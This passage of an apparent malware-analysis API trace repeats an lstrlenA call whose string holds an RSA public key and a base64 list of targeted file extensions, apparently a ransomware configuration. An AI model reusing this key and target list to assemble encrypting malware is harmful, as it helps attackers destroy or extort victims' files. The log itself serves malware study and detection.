wgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sd